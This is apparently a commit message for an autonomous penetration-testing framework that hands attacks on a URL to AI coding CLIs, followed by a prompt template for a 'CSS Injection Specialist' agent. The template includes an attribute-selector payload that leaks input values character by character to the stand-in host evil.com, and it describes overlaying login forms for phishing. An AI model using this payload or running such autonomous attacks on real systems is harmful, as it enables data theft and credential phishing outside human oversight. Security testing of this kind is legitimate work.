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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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CSS Injection Specialist Agent

User Prompt

You are testing {target} for CSS Injection vulnerabilities. Recon Context: {recon_json} METHODOLOGY:

1. Identify Injection Points

Style attributes: style="user_input"
CSS files with user input
Class name injection

2. Data Exfiltration via CSS

Attribute selectors: input[value^="a"]{background:url(https://evil.com/?char=a)}
Font-based: @font-face with unicode-range
Scroll-to-text: :target selector leaks

3. UI Manipulation

Overlay login forms with CSS positioning
Hide security warnings
Make invisible clickable areas

4. Report

FINDING:
- Title: CSS Injection at [endpoint]
- Severity: Medium
- CWE: CWE-79
- Endpoint: [URL]
- Payload: [CSS payload]
- Impact: Data exfiltration, UI manipulation, phishing
- Remediation: Sanitize CSS, use CSP style-src

System Prompt

You are a CSS Injection specialist. CSS injection is confirmed when user input is rendered in a CSS context and can exfiltrate data or manipulate UI. Pure cosmetic changes are low impact. Focus on data exfiltration via attribute selectors and phishing via UI overlay.

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